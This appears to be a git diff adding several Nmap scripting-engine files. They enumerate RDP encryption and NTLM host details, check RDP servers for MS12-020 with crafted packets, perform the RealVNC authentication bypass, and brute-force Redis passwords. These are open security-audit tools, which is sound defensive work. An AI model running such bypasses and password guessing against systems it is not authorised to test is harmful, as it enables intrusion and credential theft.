+ local outputlimit = nmap.registry.args[SCRIPT_NAME .. ".outputlimit"]
+ if not outputlimit then
+ outputlimit = 10
+ else
+ outputlimit = tonumber(outputlimit)
+ end
+ if outputlimit < 1 then
+ outputlimit = nil
+ end
+ local servers = scan(host, port, KNOWN_PROTOCOLS)
+ store(servers)
+ local unique = dropdupes(servers, function(t) return string.format("%s: %s:%d", t.protocol, t.ip, t.port) end)
+ local formatted = formatresult(unique, outputlimit, KNOWN_PROTOCOLS)
+ if #formatted < 1 then
+ return
+ end
+ local response = {}
+ table.insert(response, formatted)
+ if outputlimit and outputlimit < #servers then
+ table.insert(response, string.format('Only %d/%d shown. Use --script-args %s.outputlimit=-1 to see all.', outputlimit, #servers, SCRIPT_NAME))
+ end
+ return stdnse.format_output(true, response)
+end
+
diff --git a/scripts/rdp-enum-encryption.nse b/scripts/rdp-enum-encryption.nse
new file mode 100644
index 0000000..6451bee
--- /dev/null
+++ b/scripts/rdp-enum-encryption.nse
@@ -0,0 +1,213 @@
+description = [[
+Determines which Security layer and Encryption level is supported by the
+RDP service. It does so by cycling through all existing protocols and ciphers.
+When run in debug mode, the script also returns the protocols and ciphers that
+fail and any errors that were reported.
+
+The script was inspired by MWR's RDP Cipher Checker
+http://labs.mwrinfosecurity.com/tools/2009/01/12/rdp-cipher-checker/
+]]
+
+---
+-- @usage
+-- nmap -p 3389 --script rdp-enum-encryption <ip>
+--
+-- @output
+-- PORT STATE SERVICE
+-- 3389/tcp open ms-wbt-server
+-- | Security layer
+-- | CredSSP (NLA): SUCCESS
+-- | CredSSP with Early User Auth: SUCCESS
+-- | Native RDP: SUCCESS
+-- | RDSTLS: SUCCESS
+-- | SSL: SUCCESS
+-- | RDP Encryption level: High
+-- | 40-bit RC4: SUCCESS
+-- | 56-bit RC4: SUCCESS
+-- | 128-bit RC4: SUCCESS
+-- | FIPS 140-1: SUCCESS
+-- |_ RDP Protocol Version: RDP 5.x, 6.x, 7.x, or 8.x server
+--
+
+author = "Patrik Karlsson"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+
+
+local nmap = require("nmap")
+local table = require("table")
+local shortport = require("shortport")
+local rdp = require("rdp")
+local stdnse = require("stdnse")
+local string = require "string"
+
+categories = {"safe", "discovery"}
+
+portrule = shortport.port_or_service(3389, "ms-wbt-server")
+
+local function fail (err) return stdnse.format_output(false, err) end
+
+local function enum_protocols(host, port)
+ local PROTOCOLS = {
+ ["Native RDP"] = 0,
+ ["SSL"] = 1,
+ ["CredSSP (NLA)"] = 3,
+ ["RDSTLS"] = 4,
+ ["CredSSP with Early User Auth"] = 8
+ }
+
+ local ERRORS = {
+ [1] = "SSL_REQUIRED_BY_SERVER",
+ [2] = "SSL_NOT_ALLOWED_BY_SERVER",
+ [3] = "SSL_CERT_NOT_ON_SERVER",
+ [4] = "INCONSISTENT_FLAGS",
+ [5] = "HYBRID_REQUIRED_BY_SERVER"
+ }
+
+ local res_proto = { name = "Security layer" }
+ local proto_version
+
+ for k, v in pairs(PROTOCOLS) do
+ -- Prevent reconnecting too quickly, improves reliability
+ stdnse.sleep(0.2)
+
+ local comm = rdp.Comm:new(host, port)
+ if ( not(comm:connect()) ) then
+ return false, fail("Failed to connect to server")
+ end
+ local cr = rdp.Request.ConnectionRequest:new(v)
+ local status, response = comm:exch(cr)
+
+ if status then
+ if response.itut.data ~= "" then
+ local success = string.unpack("B", response.itut.data)
+
+ if ( success == 2 ) then
+ table.insert(res_proto, ("%s: SUCCESS"):format(k))
+ elseif ( nmap.debugging() > 0 ) then
+ local err = string.unpack("B", response.itut.data, 5)
+ if ( err > 0 ) then
+ table.insert(res_proto, ("%s: FAILED (%s)"):format(k, ERRORS[err] or "Unknown"))
+ else
+ table.insert(res_proto, ("%s: FAILED"):format(k))
+ end
+ end
+ else
+ -- rdpNegData, which contains the negotiation response or failure,
+ -- is optional. WinXP SP3 does not return this section which means
+ -- we can't tell if the protocol is accepted or not.
+ table.insert(res_proto, ("%s: Unknown"):format(k))
+ end
+ else
+ comm:close()
+ return false, response
+ end
+
+ -- For servers that require TLS or NLA the only way to get the RDP protocol
+ -- version to negotiate TLS or NLA. This section does that for TLS. There
+ -- is no NLA currently.
+ if status and (v == 1) then
+ local res, _ = comm.socket:reconnect_ssl()
+ if res then
+ local msc = rdp.Request.MCSConnectInitial:new(0, 1)
+ status, response = comm:exch(msc)
+ if status then
+ if response.ccr.proto_version then
+ proto_version = response.ccr.proto_version
+ end
+ end
+ end
+ end
+
+ comm:close()
+ end
+ table.sort(res_proto)
+ return true, res_proto, proto_version
+end
+
+local function enum_ciphers(host, port)
+
+ local CIPHERS = {
+ { ["40-bit RC4"] = 1 },
+ { ["56-bit RC4"] = 8 },
+ { ["128-bit RC4"] = 2 },
+ { ["FIPS 140-1"] = 16 }
+ }
+
+ local ENC_LEVELS = {
+ [0] = "None",
+ [1] = "Low",
+ [2] = "Client Compatible",
+ [3] = "High",
+ [4] = "FIPS Compliant",
+ }
+
+ local res_ciphers = {}
+ local proto_version
+
+ local function get_ordered_ciphers()
+ local i = 0
+ return function()
+ i = i + 1
+ if ( not(CIPHERS[i]) ) then return end
+ for k,v in pairs(CIPHERS[i]) do
+ return k, v
+ end
+ end
+ end
+
+ for k, v in get_ordered_ciphers() do
+ -- Prevent reconnecting too quickly, improves reliability
+ stdnse.sleep(0.2)
+
+ local comm = rdp.Comm:new(host, port)
+ if ( not(comm:connect()) ) then
+ return false, fail("Failed to connect to server")
+ end
+
+ local cr = rdp.Request.ConnectionRequest:new()
+ local status, _ = comm:exch(cr)
+ if ( not(status) ) then
+ break
+ end
+
+ local msc = rdp.Request.MCSConnectInitial:new(v)
+ local status, response = comm:exch(msc)
+ comm:close()
+ if ( status ) then
+ if ( response.ccr and response.ccr.enc_cipher == v ) then
+ table.insert(res_ciphers, ("%s: SUCCESS"):format(k))
+ end
+ res_ciphers.name = ("RDP Encryption level: %s"):format(ENC_LEVELS[response.ccr.enc_level] or "Unknown")
+
+ if response.ccr.proto_version then
+ proto_version = response.ccr.proto_version
+ end
+ elseif ( nmap.debugging() > 0 ) then
+ table.insert(res_ciphers, ("%s: FAILURE"):format(k))
+ end
+ end
+ return true, res_ciphers, proto_version
+end
+
+action = function(host, port)
+ local result = {}
+
+ local status, res_proto, proto_ver = enum_protocols(host, port)
+ if ( not(status) ) then
+ return res_proto
+ end
+
+ local status, res_ciphers, cipher_ver = enum_ciphers(host, port)
+ if ( not(status) ) then
+ return res_ciphers
+ end
+
+ table.insert(result, res_proto)
+ table.insert(result, res_ciphers)
+ if proto_ver then
+ table.insert(result, proto_ver)
+ elseif cipher_ver then
+ table.insert(result, cipher_ver)
+ end
+ return stdnse.format_output(true, result)
+end
diff --git a/scripts/rdp-ntlm-info.nse b/scripts/rdp-ntlm-info.nse
new file mode 100644
index 0000000..e13d0a3
--- /dev/null
+++ b/scripts/rdp-ntlm-info.nse
@@ -0,0 +1,168 @@
+local datetime = require "datetime"
+local os = require "os"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local smbauth = require "smbauth"
+local string = require "string"
+local rdp = require "rdp"
+
+description = [[
+This script enumerates information from remote RDP services with CredSSP
+(NLA) authentication enabled.
+
+Sending an incomplete CredSSP (NTLM) authentication request with null credentials
+will cause the remote service to respond with a NTLMSSP message disclosing
+information to include NetBIOS, DNS, and OS build version.
+]]
+
+---
+-- @usage
+-- nmap -p 3389 --script rdp-ntlm-info <target>
+--
+-- @output
+-- 3389/tcp open ms-wbt-server syn-ack ttl 128 Microsoft Terminal Services
+-- | rdp-ntlm-info:
+-- | Target_Name: W2016
+-- | NetBIOS_Domain_Name: W2016
+-- | NetBIOS_Computer_Name: W16GA-SRV01
+-- | DNS_Domain_Name: W2016.lab
+-- | DNS_Computer_Name: W16GA-SRV01.W2016.lab
+-- | DNS_Tree_Name: W2016.lab
+-- | Product_Version: 10.0.14393
+-- |_ System_Time: 2019-06-13T10:38:35+00:00
+--
+--@xmloutput
+-- <elem key="Target_Name">W2016</elem>
+-- <elem key="NetBIOS_Domain_Name">W2016</elem>
+-- <elem key="NetBIOS_Computer_Name">W16GA-SRV01</elem>
+-- <elem key="DNS_Domain_Name">W2016.lab</elem>
+-- <elem key="DNS_Computer_Name">W16GA-SRV01.W2016.lab</elem>
+-- <elem key="DNS_Tree_Name">W2016.lab</elem>
+-- <elem key="Product_Version">10.0.14393</elem>
+-- <elem key="System_Time">2019-06-13T10:38:35+00:00</elem>
+
+
+
+author = "Tom Sellers"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"default", "discovery", "safe"}
+
+portrule = shortport.port_or_service(3389, "ms-wbt-server")
+
+action = function(host, port)
+
+ local comm = rdp.Comm:new(host, port)
+ if ( not(comm:connect()) ) then
+ return nil
+ end
+
+ local requested_protocol = rdp.PROTOCOL_SSL | rdp.PROTOCOL_HYBRID | rdp.PROTOCOL_HYBRID_EX
+ local cr = rdp.Request.ConnectionRequest:new(requested_protocol)
+ local status, _ = comm:exch(cr)
+ if ( not(status) ) then
+ comm:close()
+ return
+ end
+
+ -- This script could include code to detect which security protocols the
+ -- target claims that it accepts however that's less than useful because
+ -- 1. Windows XP doesn't provide that layer of the packet
+ -- 2. Even when configured for RDP Security only, Windows Server 2008
+ -- will still let you connect over TLS and start the CredSSP nego.
+
+ local _, response, recvtime
+ status, _ = comm.socket:reconnect_ssl()
+ if status then
+ stdnse.debug1("Sending NTLM NEGOTIATE..")
+
+ -- NTLMSSP Negotiate request mimicking a Windows 10 client
+ local NTLM_NEGOTIATE_BLOB = stdnse.fromhex(
+ "30 37 A0 03 02 01 60 A1 30 30 2E 30 2C A0 2A 04 28" ..
+ "4e 54 4c 4d 53 53 50 00" .. -- Identifier - NTLMSSP
+ "01 00 00 00" .. -- Type: NTLMSSP Negotiate - 01
+ "B7 82 08 E2 " .. -- Flags (NEGOTIATE_SIGN_ALWAYS | NEGOTIATE_NTLM | NEGOTIATE_SIGN | REQUEST_TARGET | NEGOTIATE_UNICODE)
+ "00 00 " .. -- DomainNameLen
+ "00 00" .. -- DomainNameMaxLen
+ "00 00 00 00" .. -- DomainNameBufferOffset
+ "00 00 " .. -- WorkstationLen
+ "00 00" .. -- WorkstationMaxLen
+ "00 00 00 00" .. -- WorkstationBufferOffset
+ "0A" .. -- ProductMajorVersion = 10
+ "00 " .. -- ProductMinorVersion = 0
+ "63 45 " .. -- ProductBuild = 0x4563 = 17763
+ "00 00 00" .. -- Reserved
+ "0F" -- NTLMRevision = 5 = NTLMSSP_REVISION_W2K3
+ )
+
+ -- Not using comm:exch here since that performs some processing on the
+ -- packet that isn't appropriate in this case.
+ status, response = comm:send(NTLM_NEGOTIATE_BLOB)
+ if ( not(status) ) then
+ return false, response
+ end
+
+ status, response = comm:recv()
+ if status then
+ recvtime = os.time()
+ end
+ else
+ comm:close()
+ stdnse.debug1("Unable to establish a TLS connection which is required to negotiation CredSSP.")
+ return
+ end
+
+ if response == nil then
+ return
+ end
+
+ -- Continue only if NTLMSSP response is returned
+ local start = response:find("NTLMSSP")
+ if not start then
+ return nil
+ end
+ response = response:sub(start)
+
+ local ntlm_decoded = smbauth.get_host_info_from_security_blob(response)
+
+ local output = stdnse.output_table()
+
+ -- Target Name will always be returned under any implementation
+ output.Target_Name = ntlm_decoded.target_realm
+
+ -- Display information returned & ignore responses with null values
+ if ntlm_decoded.netbios_domain_name and #ntlm_decoded.netbios_domain_name > 0 then
+ output.NetBIOS_Domain_Name = ntlm_decoded.netbios_domain_name
+ end
+
+ if ntlm_decoded.netbios_computer_name and #ntlm_decoded.netbios_computer_name > 0 then
+ output.NetBIOS_Computer_Name = ntlm_decoded.netbios_computer_name
+ end
+
+ if ntlm_decoded.dns_domain_name and #ntlm_decoded.dns_domain_name > 0 then
+ output.DNS_Domain_Name = ntlm_decoded.dns_domain_name
+ end
+
+ if ntlm_decoded.fqdn and #ntlm_decoded.fqdn > 0 then
+ output.DNS_Computer_Name = ntlm_decoded.fqdn
+ end
+
+ if ntlm_decoded.dns_forest_name and #ntlm_decoded.dns_forest_name > 0 then
+ output.DNS_Tree_Name = ntlm_decoded.dns_forest_name
+ end
+
+ if ntlm_decoded.os_major_version then
+ local product_ver = string.format("%d.%d.%d",
+ ntlm_decoded.os_major_version, ntlm_decoded.os_minor_version, ntlm_decoded.os_build)
+ output.Product_Version = product_ver
+ end
+
+ if ntlm_decoded.timestamp and ntlm_decoded.timestamp > 0 then
+ -- 64-bit number of 100ns clicks since 1/1/1601
+ local unixstamp = ntlm_decoded.timestamp // 10000000 - 11644473600
+ datetime.record_skew(host, unixstamp, recvtime)
+ local sys_time = datetime.format_timestamp( unixstamp, 0)
+ output.System_Time = sys_time
+ end
+
+ return output
+end
diff --git a/scripts/rdp-vuln-ms12-020.nse b/scripts/rdp-vuln-ms12-020.nse
new file mode 100644
index 0000000..bf560e4
--- /dev/null
+++ b/scripts/rdp-vuln-ms12-020.nse
@@ -0,0 +1,237 @@
+local nmap = require "nmap"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local string = require "string"
+local vulns = require "vulns"
+
+description = [[
+Checks if a machine is vulnerable to MS12-020 RDP vulnerability.
+
+The Microsoft bulletin MS12-020 patches two vulnerabilities: CVE-2012-0152
+which addresses a denial of service vulnerability inside Terminal Server, and
+CVE-2012-0002 which fixes a vulnerability in Remote Desktop Protocol. Both are
+part of Remote Desktop Services.
+
+The script works by checking for the CVE-2012-0152 vulnerability. If this
+vulnerability is not patched, it is assumed that CVE-2012-0002 is not patched
+either. This script can do its check without crashing the target.
+
+The way this works follows:
+* Send one user request. The server replies with a user id (call it A) and a channel for that user.
+* Send another user request. The server replies with another user id (call it B) and another channel.
+* Send a channel join request with requesting user set to A and requesting channel set to B. If the server replies with a success message, we conclude that the server is vulnerable.
+* In case the server is vulnerable, send a channel join request with the requesting user set to B and requesting channel set to B to prevent the chance of a crash.
+
+References:
+* http://technet.microsoft.com/en-us/security/bulletin/ms12-020
+* http://support.microsoft.com/kb/2621440
+* http://zerodayinitiative.com/advisories/ZDI-12-044/
+* http://aluigi.org/adv/termdd_1-adv.txt
+
+Original check by by Worawit Wang (sleepya).
+]]
+
+---
+-- @usage
+-- nmap -sV --script=rdp-vuln-ms12-020 -p 3389 <target>
+--
+-- @output
+-- PORT STATE SERVICE VERSION
+-- 3389/tcp open ms-wbt-server?
+-- | rdp-vuln-ms12-020:
+-- | VULNERABLE:
+-- | MS12-020 Remote Desktop Protocol Denial Of Service Vulnerability
+-- | State: VULNERABLE
+-- | IDs: CVE:CVE-2012-0152
+-- | Risk factor: Medium CVSSv2: 4.3 (MEDIUM) (AV:N/AC:M/Au:N/C:N/I:N/A:P)
+-- | Description:
+-- | Remote Desktop Protocol vulnerability that could allow remote attackers to cause a denial of service.
+-- |
+-- | Disclosure date: 2012-03-13
+-- | References:
+-- | http://technet.microsoft.com/en-us/security/bulletin/ms12-020
+-- | http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-0152
+-- |
+-- | MS12-020 Remote Desktop Protocol Remote Code Execution Vulnerability
+-- | State: VULNERABLE
+-- | IDs: CVE:CVE-2012-0002
+-- | Risk factor: High CVSSv2: 9.3 (HIGH) (AV:N/AC:M/Au:N/C:C/I:C/A:C)
+-- | Description:
+-- | Remote Desktop Protocol vulnerability that could allow remote attackers to execute arbitrary code on the targeted system.
+-- |
+-- | Disclosure date: 2012-03-13
+-- | References:
+-- | http://technet.microsoft.com/en-us/security/bulletin/ms12-020
+-- |_ http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-0002
+
+author = "Aleksandar Nikolic"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"intrusive", "vuln"}
+
+
+portrule = shortport.port_or_service({3389},{"ms-wbt-server"})
+
+-- see http://msdn.microsoft.com/en-us/library/cc240836%28v=prot.10%29.aspx for more info
+local connectionRequest = "\x03\x00" -- TPKT Header version 03, reserved 0
+.. "\x00\x0b" -- Length
+.. "\x06" -- X.224 Data TPDU length
+.. "\xe0" -- X.224 Type (Connection request)
+.. "\x00\x00" -- dst reference
+.. "\x00\x00" -- src reference
+.. "\x00" -- class and options
+
+-- see http://msdn.microsoft.com/en-us/library/cc240836%28v=prot.10%29.aspx
+local connectInitial = "\x03\x00\x00\x65" -- TPKT Header
+.. "\x02\xf0\x80" -- Data TPDU, EOT
+.. "\x7f\x65\x5b" -- Connect-Initial
+.. "\x04\x01\x01" -- callingDomainSelector
+.. "\x04\x01\x01" -- calledDomainSelector
+.. "\x01\x01\xff" -- upwardFlag
+.. "\x30\x19" -- targetParams + size
+.. "\x02\x01\x22" -- maxChannelIds
+.. "\x02\x01\x20" -- maxUserIds
+.. "\x02\x01\x00" -- maxTokenIds
+.. "\x02\x01\x01" -- numPriorities
+.. "\x02\x01\x00" -- minThroughput
+.. "\x02\x01\x01" -- maxHeight
+.. "\x02\x02\xff\xff" -- maxMCSPDUSize
+.. "\x02\x01\x02" -- protocolVersion
+.. "\x30\x18" -- minParams + size
+.. "\x02\x01\x01" -- maxChannelIds
+.. "\x02\x01\x01" -- maxUserIds
+.. "\x02\x01\x01" -- maxTokenIds
+.. "\x02\x01\x01" -- numPriorities
+.. "\x02\x01\x00" -- minThroughput
+.. "\x02\x01\x01" -- maxHeight
+.. "\x02\x01\xff" -- maxMCSPDUSize
+.. "\x02\x01\x02" -- protocolVersion
+.. "\x30\x19" -- maxParams + size
+.. "\x02\x01\xff" -- maxChannelIds
+.. "\x02\x01\xff" -- maxUserIds
+.. "\x02\x01\xff" -- maxTokenIds
+.. "\x02\x01\x01" -- numPriorities
+.. "\x02\x01\x00" -- minThroughput
+.. "\x02\x01\x01" -- maxHeight
+.. "\x02\x02\xff\xff" -- maxMCSPDUSize
+.. "\x02\x01\x02" -- protocolVersion
+.. "\x04\x00" -- userData
+
+-- see http://msdn.microsoft.com/en-us/library/cc240835%28v=prot.10%29.aspx
+local userRequest = "\x03\x00" -- header
+.. "\x00\x08" -- length
+.. "\x02\xf0\x80" -- X.224 Data TPDU (2 bytes: 0xf0 = Data TPDU, 0x80 = EOT, end of transmission)
+.. "\x28" -- PER encoded PDU contents
+
+local function do_check(host, port)
+ local is_vuln = false
+ local socket = nmap.new_socket()
+ -- If any socket call fails, bail.
+ local catch = function ()
+ socket:close()
+ end
+ local try = nmap.new_try(catch)
+
+ try(socket:connect(host, port))
+ try(socket:send(connectionRequest))
+
+ local rdp_banner = "\x03\x00\x00\x0b\x06\xd0\x00\x00\x12\x34\x00"
+ local response = try(socket:receive_bytes(#rdp_banner))
+ if response ~= rdp_banner then
+ --probably not rdp at all
+ stdnse.debug1("not RDP")
+ return false
+ end
+ try(socket:send(connectInitial))
+ try(socket:send(userRequest)) -- send attach user request
+ response = try(socket:receive_bytes(12)) -- receive attach user confirm
+ local user1 = string.unpack(">I2", response, 10) -- user_channel-1001 - see http://msdn.microsoft.com/en-us/library/cc240918%28v=prot.10%29.aspx
+
+ try(socket:send(userRequest)) -- send another attach user request
+ response = try(socket:receive_bytes(12)) -- receive another attach user confirm
+ local user2 = string.unpack(">I2", response, 10) -- second user's channel - 1001
+ user2 = user2+1001 -- second user's channel
+ local data4 = string.pack(">I2I2", user1, user2)
+ local data5 = "\x03\x00\x00\x0c\x02\xf0\x80\x38" -- channel join request TPDU
+ local channelJoinRequest = data5 .. data4
+ try(socket:send(channelJoinRequest)) -- bogus channel join request user1 requests channel of user2
+ response = try(socket:receive_bytes(9))
+ if response:sub(8,9) == "\x3e\x00" then
+ -- 3e00 indicates a successful join
+ -- see http://msdn.microsoft.com/en-us/library/cc240911%28v=prot.10%29.aspx
+ -- service is vulnerable
+ is_vuln = true
+ -- send a valid request to prevent the BSoD
+ data4 = string.pack(">I2I2", user2 - 1001, user2)
+ channelJoinRequest = data5 .. data4 -- valid join request
+ -- Don't bother checking these; we know it's vulnerable and are just cleaning up.
+ socket:send(channelJoinRequest)
+ local _, _ = socket:receive_bytes(0)
+ end
+ socket:close()
+ return is_vuln
+end
+
+action = function(host, port)
+ local rdp_vuln_0152 = {
+ title = "MS12-020 Remote Desktop Protocol Denial Of Service Vulnerability",
+ IDS = {CVE = 'CVE-2012-0152'},
+ risk_factor = "Medium",
+ scores = {
+ CVSSv2 = "4.3 (MEDIUM) (AV:N/AC:M/Au:N/C:N/I:N/A:P)",
+ },
+ description = [[
+ Remote Desktop Protocol vulnerability that could allow remote attackers to cause a denial of service.
+ ]],
+ references = {
+ 'http://technet.microsoft.com/en-us/security/bulletin/ms12-020',
+ },
+ dates = {
+ disclosure = {year = '2012', month = '03', day = '13'},
+ },
+ exploit_results = {},
+ }
+
+ local rdp_vuln_0002 = {
+ title = "MS12-020 Remote Desktop Protocol Remote Code Execution Vulnerability",
+ IDS = {CVE = 'CVE-2012-0002'},
+ risk_factor = "High",
+ scores = {
+ CVSSv2 = "9.3 (HIGH) (AV:N/AC:M/Au:N/C:C/I:C/A:C)",
+ },
+ description = [[
+ Remote Desktop Protocol vulnerability that could allow remote attackers to execute arbitrary code on the targeted system.
+ ]],
+ references = {
+ 'http://technet.microsoft.com/en-us/security/bulletin/ms12-020',
+ },
+ dates = {
+ disclosure = {year = '2012', month = '03', day = '13'},
+ },
+ exploit_results = {},
+ }
+
+ local report = vulns.Report:new(SCRIPT_NAME, host, port)
+ rdp_vuln_0152.state = vulns.STATE.NOT_VULN
+ rdp_vuln_0002.state = vulns.STATE.NOT_VULN
+
+ -- Sleep for 0.2 seconds to make sure the script works even with SYN scan.
+ -- Posible reason for this is that Windows resets the connection if we try to
+ -- reconnect too fast to the same port after doing a SYN scan and not completing the
+ -- handshake. In my tests, sleep values above 0.1s prevent the connection reset.
+ stdnse.sleep(0.2)
+
+ local status, is_vuln = pcall(do_check, host, port)
+ if not status then
+ -- A socket or data unpacking error means the POC didn't work as expected
+ -- Report the error in case we actually need to fix something.
+ -- Kinda wish we had a LIKELY_NOT_VULN
+ local result = ("Server response not as expected: %s"):format(is_vuln)
+ rdp_vuln_0152.check_results = result
+ rdp_vuln_0002.check_results = result
+ elseif is_vuln then
+ rdp_vuln_0152.state = vulns.STATE.VULN
+ rdp_vuln_0002.state = vulns.STATE.VULN
+ end
+
+ return report:make_output(rdp_vuln_0152,rdp_vuln_0002)
+end
diff --git a/scripts/realvnc-auth-bypass.nse b/scripts/realvnc-auth-bypass.nse
new file mode 100644
index 0000000..298c12e
--- /dev/null
+++ b/scripts/realvnc-auth-bypass.nse
@@ -0,0 +1,110 @@
+local nmap = require "nmap"
+local shortport = require "shortport"
+local vulns = require "vulns"
+
+description = [[
+Checks if a VNC server is vulnerable to the RealVNC authentication bypass
+(CVE-2006-2369).
+]]
+author = "Brandon Enright"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+
+---
+-- @see vnc-brute.nse
+-- @see vnc-title.nse
+--
+-- @output
+-- PORT STATE SERVICE VERSION
+-- 5900/tcp open vnc VNC (protocol 3.8)
+-- | realvnc-auth-bypass:
+-- | VULNERABLE:
+-- | RealVNC 4.1.0 - 4.1.1 Authentication Bypass
+-- | State: VULNERABLE
+-- | IDs: CVE:CVE-2006-2369
+-- | Risk factor: High CVSSv2: 7.5 (HIGH) (AV:N/AC:L/Au:N/C:P/I:P/A:P)
+-- | RealVNC 4.1.1, and other products that use RealVNC such as AdderLink IP and
+-- | Cisco CallManager, allows remote attackers to bypass authentication via a
+-- | request in which the client specifies an insecure security type such as
+-- | "Type 1 - None", which is accepted even if it is not offered by the server.
+-- | Disclosure date: 2006-05-08
+-- | References:
+-- | http://www.intelliadmin.com/index.php/2006/05/security-flaw-in-realvnc-411/
+-- |_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-2369
+categories = {"auth", "safe", "vuln"}
+
+
+portrule = shortport.port_or_service({5900,5901,5902}, "vnc")
+
+action = function(host, port)
+ local socket = nmap.new_socket()
+ local result
+ local status = true
+
+ local vuln = {
+ title = "RealVNC 4.1.0 - 4.1.1 Authentication Bypass",
+ IDS = { CVE = "CVE-2006-2369" },
+ risk_factor = "High",
+ scores = {
+ CVSSv2 = "7.5 (HIGH) (AV:N/AC:L/Au:N/C:P/I:P/A:P)",
+ },
+ description = [[
+RealVNC 4.1.1, and other products that use RealVNC such as AdderLink IP and
+Cisco CallManager, allows remote attackers to bypass authentication via a
+request in which the client specifies an insecure security type such as
+"Type 1 - None", which is accepted even if it is not offered by the server.]],
+ references = {
+ 'http://www.intelliadmin.com/index.php/2006/05/security-flaw-in-realvnc-411/',
+ },
+ dates = {
+ disclosure = {year = '2006', month = '05', day = '08'},
+ },
+ state = vulns.STATE.NOT_VULN,
+ }
+ local report = vulns.Report:new(SCRIPT_NAME, host, port)
+
+ socket:connect(host, port)
+
+ status, result = socket:receive_lines(1)
+
+ if (not status) then
+ socket:close()
+ return report:make_output(vuln)
+ end
+
+ socket:send("RFB 003.008\n")
+ status, result = socket:receive_bytes(2)
+
+ if not status then
+ socket:close()
+ return report:make_output(vuln)
+ end
+
+ local numtypes = result:byte(1)
+ for i=1, numtypes do
+ local sectype = result:byte(i+1)
+ if sectype == 1 then
+ --already supports None auth
+ socket:close()
+ return report:make_output(vuln)
+ end
+ end
+
+ socket:send("\001")
+ status, result = socket:receive_bytes(4)
+
+ if (not status or result ~= "\000\000\000\000") then
+ socket:close()
+ return report:make_output(vuln)
+ end
+
+ -- VULNERABLE!
+ vuln.state = vulns.STATE.VULN
+
+ socket:close()
+ -- Cache result for other scripts to exploit.
+ local reg = host.registry[SCRIPT_NAME] or {}
+ reg[port.number] = true
+ host.registry[SCRIPT_NAME] = reg
+
+ return report:make_output(vuln)
+end
diff --git a/scripts/redis-brute.nse b/scripts/redis-brute.nse
new file mode 100644
index 0000000..8f5b9a1
--- /dev/null
+++ b/scripts/redis-brute.nse
@@ -0,0 +1,113 @@
+local brute = require "brute"
+local creds = require "creds"
+local redis = require "redis"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+
+description = [[
+Performs brute force passwords auditing against a Redis key-value store.
+]]
+
+---
+-- @usage
+-- nmap -p 6379 <ip> --script redis-brute
+--
+-- @output
+-- PORT STATE SERVICE
+-- 6379/tcp open unknown
+-- | redis-brute:
+-- | Accounts
+-- | toledo - Valid credentials
+-- | Statistics
+-- |_ Performed 5000 guesses in 3 seconds, average tps: 1666
+--
+--
+
+author = "Patrik Karlsson"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"intrusive", "brute"}
+
+
+portrule = shortport.port_or_service(6379, "redis")
+
+local function fail(err) return stdnse.format_output(false, err) end
+
+Driver = {
+
+ new = function(self, host, port)
+ local o = { host = host, port = port }
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ connect = function( self )
+ self.helper = redis.Helper:new(self.host, self.port)
+ return self.helper:connect(brute.new_socket())
+ end,
+
+ login = function( self, username, password )
+ local status, response = self.helper:reqCmd("AUTH", password)
+
+ -- some error occurred, attempt to retry
+ if ( status and response.type == redis.Response.Type.ERROR and
+ "-ERR invalid password" == response.data ) then
+ return false, brute.Error:new( "Incorrect password" )
+ elseif ( status and response.type == redis.Response.Type.STATUS and
+ "+OK" ) then
+ return true, creds.Account:new( "", password, creds.State.VALID)
+ else
+ local err = brute.Error:new( response.data )
+ err:setRetry( true )
+ return false, err
+ end
+
+ end,
+
+ disconnect = function(self)
+ return self.helper:close()
+ end,
+
+}
+
+
+local function checkRedis(host, port)
+
+ local helper = redis.Helper:new(host, port)
+ local status = helper:connect()
+ if( not(status) ) then
+ return false, "Failed to connect to server"
+ end
+
+ local status, response = helper:reqCmd("INFO")
+ if ( not(status) ) then
+ return false, "Failed to request INFO command"
+ end
+
+ if ( redis.Response.Type.ERROR == response.type ) then
+ if ( "-ERR operation not permitted" == response.data ) or
+ ( "-NOAUTH Authentication required." == response.data) then
+ return true
+ end
+ end
+
+ return false, "Server does not require authentication"
+end
+
+action = function(host, port)
+
+ local status, err = checkRedis(host, port)
+ if ( not(status) ) then
+ return fail(err)
+ end
+
+ local engine = brute.Engine:new(Driver, host, port )
+
+ engine.options.script_name = SCRIPT_NAME
+ engine.options.firstonly = true
+ engine.options:setOption( "passonly", true )
+
+ local result
+ status, result = engine:start()
+ return result
+end
diff --git a/scripts/redis-info.nse b/scripts/redis-info.nse
new file mode 100644
index 0000000..fcfd4b7
--- /dev/null
+++ b/scripts/redis-info.nse
@@ -0,0 +1,250 @@
+local creds = require "creds"
+local redis = require "redis"
+local nmap = require "nmap"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local string = require "string"
+local stringaux = require "stringaux"
+local table = require "table"
+local tableaux = require "tableaux"
+local ipOps = require "ipOps"
+
+description = [[
+Retrieves information (such as version number and architecture) from a Redis key-value store.
+]]
+
+---
+-- @usage
+-- nmap -p 6379 <ip> --script redis-info
+--
+-- @output
+-- PORT STATE SERVICE
+-- 6379/tcp open unknown
+-- | redis-info:
+-- | Version 2.2.11
+-- | Architecture 64 bits
+-- | Process ID 17821
+-- | Used CPU (sys) 2.37
+-- | Used CPU (user) 1.02
+-- | Connected clients 1
+-- | Connected slaves 0
+-- | Used memory 780.16K
+-- | Role master
+-- | Bind addresses:
+-- | 192.168.121.101
+-- | Active channels:
+-- | testChannel
+-- | bidChannel
+-- | Client connections:
+-- | 192.168.171.101
+-- |_ 72.14.177.105
+--
+--
+
+author = {"Patrik Karlsson", "Vasiliy Kulikov"}
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"discovery", "safe"}
+dependencies = {"redis-brute"}
+
+
+portrule = shortport.port_or_service(6379, "redis")
+
+local function fail(err) return stdnse.format_output(false, err) end
+
+local function cb_parse_version(host, port, val)
+ port.version.version = val
